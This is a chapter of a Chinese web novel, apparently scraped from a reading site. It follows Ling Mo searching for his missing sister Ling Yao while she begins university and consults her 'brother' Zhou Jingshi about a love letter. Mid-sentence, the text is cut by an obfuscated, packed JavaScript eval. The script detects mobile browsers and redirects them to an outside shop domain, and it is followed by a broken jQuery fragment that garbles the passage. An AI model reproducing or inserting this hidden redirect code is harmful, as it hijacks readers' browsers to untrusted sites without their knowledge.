凌墨从S大赶回了江城,坐在自己工位前。
他脑海里总是出现那个身影,然后问自己,可能吗?
他又将疗养院的监控调了出来,不知道第几次看。
摄像头下,凌瑶从房间走了出来,她一路张望,走到楼下,最后走出了疗养院,消失在所有的监控范围内。
凌瑶醒来的时候,护工躲在另外一间房和男朋友打电话,大半个小时不见踪影,一问三不知。
附近能找的监控,他们大多都找了,那块地远离市中心,刚通过地铁建造的审批,有很多在开发的项目,都是工地,没有多少摄像头。
凌墨死死的盯着屏幕,如果他们一直守在病床前……
严秋出现在他办公室。
“阿姐。”
他抬起头,声音嘶哑,想把昨天自己好像看到凌瑶的事说出来。
话到嘴边,又吞了回去。
说出来,只会让大姐白白失望。
看了一眼脸色不好的凌墨,严秋知道他又在为了凌瑶的事情烦心,劝他。
“帝都那边一直在催,你过去吧,游戏的事不用你操心了。”
凌墨为了让阿姐早点恢复意识,特地进修的VR与生物技术,他一直在研究将人的意识上传到全息世界中的可能性,而他也确实成功了。
两年前,公司上线了第一款全息游戏,凌墨将凌瑶的生物信息和意识上传到游戏中,让她成为了游戏中的NPC。
如果凌瑶真的一辈子醒不来,家人还能以另一种形式陪在她身边。
这项技术除了凌墨,没有人掌握。
国家科研所一直想挖他过去,让他为国家效力。
凌墨没有回答她,而是说:“阿姐,我昨天去S大演讲了。”
“如果二姐没有出车祸的话,她现在也毕业了。”
S大就是凌瑶高考的第一志愿。
严秋沉默了,视线落在屏幕上,又一次看着凌瑶走出疗养院。
“怪我,如果不是我心急让她这么早就喝下药水……”
凌墨打断她:“大姐,药水是我研发的。”
说是药水,其实是把凌瑶的数据从游戏抽离出来,让她恢复自己的意识,在现实中醒来。
那不是凌瑶第一支喝下的药水,她之前还喝过好几次,没有一次成功。
这一次凌瑶喝下药水,三四天也没动静,他们以为又失败了。
接到护工电话时,凌妈妈差点没晕过去。
她叹了一口气,神情疲惫:“我刚刚去医院探望妈妈了,妈妈心情很差,情况也不太好。”
凌瑶走失一个多月,一直没有消息。
自从凌瑶成了植物人,妈妈唯一的希望就是盼着女儿醒来,没想到女儿醒了,却失踪了。
她备受打击,至今没缓过来。
姐弟俩沉默着,彼此都不好受。
……
周京时又出差了,凌瑶还没想出自己的目标是什么。
她在茫然又带着点期待的情绪,正式开始了自己的大学生活。
大一的课程比较紧,除了专业课,还有六节选修课。
代抢很专业,给她抢了两门网课,给舍友都羡慕坏了,网课的学分很好修,这意味着她一周可以多出四个小时的空闲时间,做自己想做的事。
剩下一门体育课和三门思政课,也是很水的老师。
舍友说水课的时候可以做自己喜欢的事,也可以认真听讲。
凌瑶跟着她们一起上专业课,选修课的时候,她就落单了,只能按着课表找教室。
她下午第一节课是就业指导。
老师一上来就让每个人站起来,说一下自己以后想做什么,成为一个怎么样的人。
前排的学生一个接一个站起来。
凌瑶发现,好像大家都有一个明确的目标。
轮到她,凌瑶站起来,想了一会,诚恳道。
“抱歉老师,我还没有想好。”
她是第一个说没想好的人。
老师不但没生气,脸上还露出个和蔼的笑容。
“没想好是正常的,你们才十七八岁,哪能一下子就考虑好一辈子要做的事?这才是学校开设这门课的意义。”
老师让她坐下了,又一个学生站起来,凌瑶没听到他说什么,回想着老师说的那句话。
没想好也是正常的。
她忽然有了动力,坐姿端正了几分。
下午第二节是思政课,和于文君一起上的,即便是大家口中的水课,于文君依旧听得很认真,拉着凌瑶坐在前排。
凌瑶悄悄问她:“小春不是说上这个课可以做其他事情吗?”
于文君解释:“我要想保研,就要拿高绩点,每一科的成绩最好能拿高分。”
思政课这些水课是最好刷分的。
看着她认真听讲的模样,凌瑶若有所思。
为了保研,小君真的很努力。
刚刚就业指导那节课的老师也说了,如果不知道做什么,要么从自己喜好入手,要么擅长的地方入手,要么从自己需要的入手。
于文君高考落榜,想用S大做跳板,保研到帝都去。
张馨然是真的喜欢生物学,家里也经营着这方面的企业,才想毕业以后继续到国外进修。
程巧春家里穷,为了挣钱,她想创业。
她觉得自己被感染到了,和于文君一起认认真真听讲。
一个下午过去,凌瑶觉得过得很充实。
这种感觉,似乎比每天待在家里玩平板好一些。
她第二天有早八,周京时也不在家,她就没有回去。
晚上,三个舍友都在图书馆学习,她和周京时打电话。
“所以哥哥觉得,我以后要做什么呢?”
她趴在床上,将自己今天上课的所见所想都说了出来。
周京时没想到,开学第一天她就有了这样的觉悟。
他不想逼着凌瑶独立,但过于依赖他并不是一件好事,他想要她有一个完整的精神世界,把自己放在第一位。
“慢慢想,日子还长,你想做什么哥哥都支持你。”
两人聊了一个多小时,时间接近七点,凌瑶想起来自己要做作业,匆匆挂了他的电话。
黑色的屏幕映照出周京时错愕的面容。
……电话挂得还挺快。
凌瑶在学校待了三天,周三下午没课,她喊司机接她回家。
周京时还在上班,凌瑶去兔园逗小兔子,她养的两只垂耳兔,白毛叫啾啾,灰猫叫咪咪。
两个小兔子很乖,任她抱着不抓人,不挠人。
凌瑶心血来潮,兔园隔壁就是画室,她给两个小兔子画了一幅画,发给周京时。
“好看吗?”
周京时很快回她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745529|209278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“好看。”
边说着,边把那副图片存了下来。
他的相册有很多有关凌瑶的照片,有她本人,有她作的画,有他们一起种的花。
周京时翻了一会相册,又把精力投回工作中,争取早点下班回家陪她。
第一周过去,凌瑶熟悉了上课流程,也认住了本班大部分同学的脸。
同时,也有大部分同学注意到了她的存在。
课间她在走廊休息,再次回到教室时,发现她的书本被人合了起来。
一打开,里面夹着一个粉红色信封,上面还有一颗小爱心。
凌瑶没谈过恋爱,但最近看了不少电视剧,一眼认出这是传说中的情书。
她将那信封拿起来,在手里好奇的掂量着,左右环视一圈,没找到是谁送给她的,或许是送错了也未可知。
程巧春眼尖,一下就看到她手上的信封,凑过来问她:“有人给你送情书了?”
凌瑶老老实实答道:“没写我的名。”
所以可能不是写给她的。
程巧春看着她算得上憨厚的反应,又想到上次那个莫名其妙被拒绝的男生,差点没忍住笑出声。
她还以为凌瑶天天哥哥长、哥哥短,是个恋爱脑,没想到是个没开窍的恋哥脑。
她问凌瑶:“那你打算怎么办?”
凌瑶看着那封情书泛起了难,直接丢进垃圾桶好像有些不尊重人,但是收下……
她摇摇头:“不知道,一会问问哥哥吧。”
凌瑶不擅长告状,但她擅长报备。
她将信封压在了书本上,认真听老师讲课。
她的举动完全在程巧春的意料之中,遇事不决找哥哥,很符合凌瑶在她心中的人设。
下课后她拍了张照片,发给周京时。
对方很快发来一个问号,紧接着是来电铃声响起。
她这会正准备和舍友回宿舍,看到周京时的来电,凌瑶停住脚步,示意舍友们先走。
她接起了周京时的电话。
“瑶瑶。”
她低低应了一声。
周京时的声音听不出情绪,“把情书还给他。”
“可我不知道是谁送给我的呀。”
他没有丝毫犹豫:“那就丢掉,你还小,不用急着谈恋爱。”
“我知道,”她很乖,他说什么凌瑶都听话。
她听话,周京时的火气就降了下来。
凌瑶又补了一句,“就算要谈,我也只和哥哥谈。”
周京时被她拿捏得死死的,剩下的话也都说不出来了。
“谈恋爱要找一个有担当的人,如果送情书都要躲躲藏藏,偷偷摸摸,说明他没有直面失败的勇气,这样的人不适合你。”
凌瑶觉得事情没有哥哥说的这么严重。
以前也有很多朋友给她写一些很黏糊糊的话,说喜欢她,夸她是小仙女,她的数据库里有很多这样的“情书”。
但她的第六感告诉自己,这些话不能和哥哥说。
“今晚有空吗,哥哥去学校接你。”
凌瑶有些纠结:“可我明天有早八。”
她已经融入了大学生活,还沾染了一点大学生都有的小毛病。
——赖床,早八人的极致享受
“吃个饭,然后哥哥就是送你回学校,不耽误你明天上课。”
凌瑶于是答应了。